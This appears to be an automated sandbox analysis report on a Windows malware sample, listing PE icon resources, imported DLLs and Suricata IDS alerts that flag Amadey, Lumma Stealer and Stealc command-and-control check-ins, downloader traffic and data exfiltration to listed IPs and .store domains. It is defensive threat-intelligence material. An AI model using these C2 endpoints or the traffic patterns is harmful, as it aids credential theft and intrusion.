RT_ICON	0x70678	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.34011627906976744
RT_ICON	0x70d30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.37677304964539005
RT_ICON	0x71198	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.2069672131147541
RT_ICON	0x71b20	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.24941860465116278
RT_ICON	0x721d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.3067375886524823
RT_ICON	0x72640	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.27827868852459015
RT_ICON	0x72fc8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.3377906976744186
RT_ICON	0x73680	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.36879432624113473
RT_ICON	0x73ae8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.2594262295081967
RT_ICON	0x74470	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.30930232558139537
RT_ICON	0x74b28	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.33865248226950356
RT_ICON	0x74f90	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.28688524590163933
RT_ICON	0x75918	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.34069767441860466
RT_ICON	0x75fd0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.38475177304964536
RT_ICON	0x76438	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.18688524590163935
RT_ICON	0x76dc0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.20988372093023255
RT_ICON	0x77478	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2473404255319149
RT_ICON	0x778e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.18688524590163935
RT_ICON	0x78268	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.20988372093023255
RT_ICON	0x78920	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2473404255319149
RT_ICON	0x78d88	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.11762295081967213
RT_ICON	0x79710	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.14593023255813953
RT_ICON	0x79dc8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.17375886524822695
RT_ICON	0x7a230	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.11762295081967213
RT_ICON	0x7abb8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.14593023255813953
RT_ICON	0x7b270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.17375886524822695
RT_ICON	0x7b6d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1864754098360656
RT_ICON	0x7c060	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.21104651162790697
RT_ICON	0x7c718	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25177304964539005
RT_ICON	0x7cb80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.18278688524590164
RT_ICON	0x7d508	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.2052325581395349
RT_ICON	0x7dbc0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.24113475177304963
RT_ICON	0x7e028	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.18278688524590164
RT_ICON	0x7e9b0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.2052325581395349
RT_ICON	0x7f068	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.24113475177304963
RT_ICON	0x7f4d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.11147540983606558
RT_ICON	0x7fe58	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.14302325581395348
RT_ICON	0x80510	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.16578014184397163
RT_ICON	0x80978	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.11147540983606558
RT_ICON	0x81300	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.14302325581395348
RT_ICON	0x819b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.16578014184397163
RT_ICON	0x81e20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1831967213114754
RT_ICON	0x827a8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.2058139534883721
RT_ICON	0x82e60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.24468085106382978
RT_ICON	0x832c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1987704918032787
RT_ICON	0x83c50	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.23837209302325582
RT_ICON	0x84308	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25975177304964536
RT_ICON	0x84770	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1987704918032787
RT_ICON	0x850f8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.23837209302325582
RT_ICON	0x857b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25975177304964536
RT_ICON	0x85c18	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.12581967213114753
RT_ICON	0x865a0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.15232558139534882
RT_ICON	0x86c58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.17819148936170212
RT_ICON	0x870c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.12581967213114753
RT_ICON	0x87a48	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.15232558139534882
RT_ICON	0x88100	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.17819148936170212
RT_ICON	0x88568	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1987704918032787
RT_ICON	0x88ef0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.2377906976744186
RT_ICON	0x895a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2632978723404255
RT_ICON	0x89a10	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.19549180327868854
RT_ICON	0x8a398	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.23488372093023255
RT_ICON	0x8aa50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25620567375886527
RT_ICON	0x8aeb8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.19549180327868854
RT_ICON	0x8b840	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.23488372093023255
RT_ICON	0x8bef8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25620567375886527
RT_ICON	0x8c360	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1221311475409836
RT_ICON	0x8cce8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.1494186046511628
RT_ICON	0x8d3a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.1702127659574468
RT_ICON	0x8d808	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1221311475409836
RT_ICON	0x8e190	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.1494186046511628
RT_ICON	0x8e848	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.1702127659574468
RT_ICON	0x8ecb0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1959016393442623
RT_ICON	0x8f638	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.23604651162790696
RT_ICON	0x8fcf0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25975177304964536
RT_ICON	0x90158	0xa48	Device independent bitmap graphic, 26 x 48 x 32, image size 0	English	United States	0.04635258358662614
RT_ICON	0x90ba0	0x708	Device independent bitmap graphic, 21 x 40 x 32, image size 0	English	United States	0.06
RT_ICON	0x912a8	0x4a8	Device independent bitmap graphic, 17 x 32 x 32, image size 0	English	United States	0.07718120805369127
RT_ICON	0x91750	0xa48	Device independent bitmap graphic, 26 x 48 x 32, image size 0	English	United States	0.1344984802431611
RT_ICON	0x92198	0x708	Device independent bitmap graphic, 21 x 40 x 32, image size 0	English	United States	0.17722222222222223
RT_ICON	0x928a0	0x4a8	Device independent bitmap graphic, 17 x 32 x 32, image size 0	English	United States	0.21308724832214765
RT_ICON	0x92d48	0xa48	Device independent bitmap graphic, 26 x 48 x 32, image size 0	English	United States	0.16299392097264437
RT_ICON	0x93790	0x708	Device independent bitmap graphic, 21 x 40 x 32, image size 0	English	United States	0.20944444444444443
RT_ICON	0x93e98	0x4a8	Device independent bitmap graphic, 17 x 32 x 32, image size 0	English	United States	0.21476510067114093
RT_GROUP_ICON	0x94340	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94370	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x943a0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x943d0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94400	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x94430	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94460	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94490	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x944c0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x944f0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94520	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94550	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94580	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x945b0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x945e0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94610	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94640	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94670	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x946a0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x946d0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94700	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94730	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94760	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94790	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x947c0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x947f0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94820	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94850	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94880	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x948b0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x948e0	0x30	data	English	United States	0.9583333333333334
RT_GROUP_ICON	0x94910	0x30	data	English	United States	0.9583333333333334
RT_VERSION	0x94940	0x4ac	data			0.362876254180602
RT_MANIFEST	0x94dec	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
ADVAPI32.dll	RegCloseKey
SHELL32.dll	SHGetFolderPathA
ole32.dll	CoUninitialize
WININET.dll	HttpOpenRequestA
WS2_32.dll	closesocket

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T20:52:03.213840+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49732	185.215.113.43	80	TCP
2024-10-31T20:52:06.775722+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49734	185.215.113.16	80	TCP
2024-10-31T20:52:13.595124+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	59011	1.1.1.1	53	UDP
2024-10-31T20:52:13.612959+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	56137	1.1.1.1	53	UDP
2024-10-31T20:52:13.624476+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	49631	1.1.1.1	53	UDP
2024-10-31T20:52:13.641146+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	63382	1.1.1.1	53	UDP
2024-10-31T20:52:13.652477+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	53258	1.1.1.1	53	UDP
2024-10-31T20:52:14.321018+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:14.321018+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:14.490082+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49733	TCP
2024-10-31T20:52:15.031549+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:15.031549+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:15.417181+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49737	185.215.113.43	80	TCP
2024-10-31T20:52:15.739250+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:15.739250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:16.252922+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49735	TCP
2024-10-31T20:52:16.260323+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:16.260323+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:16.370339+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	185.215.113.16	80	TCP
2024-10-31T20:52:17.893309+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49744	188.114.97.3	443	TCP
2024-10-31T20:52:17.893309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	188.114.97.3	443	TCP
2024-10-31T20:52:19.377633+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49746	188.114.97.3	443	TCP
2024-10-31T20:52:19.377633+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	188.114.97.3	443	TCP
2024-10-31T20:52:20.965785+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-31T20:52:20.965785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-31T20:52:21.240409+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49747	185.215.113.43	80	TCP
2024-10-31T20:52:22.199149+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49750	185.215.113.16	80	TCP
2024-10-31T20:52:22.425253+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49749	185.215.113.206	80	TCP
2024-10-31T20:52:23.331923+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-31T20:52:23.331923+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-31T20:52:23.660012+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-31T20:52:26.991986+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-31T20:52:26.991986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-31T20:52:27.084250+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	49268	1.1.1.1	53	UDP
2024-10-31T20:52:27.097364+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	62626	1.1.1.1	53	UDP
2024-10-31T20:52:27.110235+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	62456	1.1.1.1	53	UDP
2024-10-31T20:52:27.122408+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	50943	1.1.1.1	53	UDP
2024-10-31T20:52:27.768418+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:27.768418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:28.401584+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:28.401584+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:29.113352+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:29.113352+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:29.452715+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49754	185.215.113.43	80	TCP
2024-10-31T20:52:29.581329+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:29.581329+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:30.393668+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	185.215.113.16	80	TCP
2024-10-31T20:52:30.393668+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49756	185.215.113.16	80	TCP
2024-10-31T20:52:30.559920+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49757	188.114.97.3	443	TCP
2024-10-31T20:52:30.559920+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49757	188.114.97.3	443	TCP
2024-10-31T20:52:31.862788+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49760	188.114.97.3	443	TCP
2024-10-31T20:52:31.862788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49760	188.114.97.3	443	TCP
2024-10-31T20:52:32.418610+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49765	188.114.97.3	443	TCP
2024-10-31T20:52:32.418610+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	188.114.97.3	443	TCP
2024-10-31T20:52:32.570735+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49760	188.114.97.3	443	TCP
2024-10-31T20:52:33.513141+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49766	185.215.113.16	80	TCP
2024-10-31T20:52:34.614212+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49769	188.114.97.3	443	TCP
2024-10-31T20:52:34.614212+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49769	188.114.97.3	443	TCP
2024-10-31T20:52:35.658187+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49770	185.215.113.206	80	TCP
2024-10-31T20:52:37.197769+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49772	185.215.113.43	80	TCP
2024-10-31T20:52:39.208456+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49775	188.114.97.3	443	TCP
2024-10-31T20:52:39.208456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49775	188.114.97.3	443	TCP
2024-10-31T20:52:41.558957+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49776	185.215.113.43	80	TCP
2024-10-31T20:52:43.050836+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49779	188.114.97.3	443	TCP
2024-10-31T20:52:43.050836+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49779	188.114.97.3	443	TCP
2024-10-31T20:52:43.513658+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49779	188.114.97.3	443	TCP
2024-10-31T20:52:44.512282+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49783	188.114.97.3	443	TCP
2024-10-31T20:52:44.512282+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49783	188.114.97.3	443	TCP
2024-10-31T20:52:44.769346+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49781	185.215.113.206	80	TCP
2024-10-31T20:52:44.966173+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49783	188.114.97.3	443	TCP
2024-10-31T20:52:45.925073+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49784	185.215.113.16	80	TCP
2024-10-31T20:52:53.038467+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49788	185.215.113.206	80	TCP
2024-10-31T20:52:55.794806+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49790	TCP
2024-10-31T20:53:02.065218+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	56592	1.1.1.1	53	UDP
2024-10-31T20:53:02.095451+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	54051	1.1.1.1	53	UDP
2024-10-31T20:53:02.113403+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	51605	1.1.1.1	53	UDP
2024-10-31T20:53:02.135205+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	59725	1.1.1.1	53	UDP
2024-10-31T20:53:02.141487+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49809	185.215.113.206	80	TCP
2024-10-31T20:53:02.778272+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:02.778272+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:04.159815+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:04.159815+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:05.124445+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49832	188.114.97.3	443	TCP
2024-10-31T20:53:05.124445+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49832	188.114.97.3	443	TCP
2024-10-31T20:53:05.625317+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49832	188.114.97.3	443	TCP
2024-10-31T20:53:05.625317+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49832	188.114.97.3	443	TCP
2024-10-31T20:53:06.677823+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T20:53:06.677823+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T20:53:07.300022+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T20:53:08.190671+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49871	188.114.97.3	443	TCP
2024-10-31T20:53:08.190671+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49871	188.114.97.3	443	TCP
2024-10-31T20:53:09.524893+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-31T20:53:09.524893+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-31T20:53:10.651491+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49884	185.215.113.206	80	TCP
2024-10-31T20:53:10.766017+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49887	188.114.97.3	443	TCP
2024-10-31T20:53:10.766017+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49887	188.114.97.3	443	TCP
2024-10-31T20:53:12.309008+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49899	188.114.97.3	443	TCP
2024-10-31T20:53:12.309008+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49899	188.114.97.3	443	TCP
2024-10-31T20:53:12.312671+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49899	188.114.97.3	443	TCP
